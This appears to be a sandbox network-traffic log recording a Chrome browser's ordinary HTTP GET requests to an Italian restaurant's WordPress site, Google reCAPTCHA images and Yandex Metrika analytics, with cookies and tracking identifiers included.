Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/Cipasso_simbolo3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/05/Cipasso_simbolo3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/shortcodes.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; yandexuid=261293701736425167; yashr=7067508691736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /metrika/metrika_match.html HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /watch/99162160?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.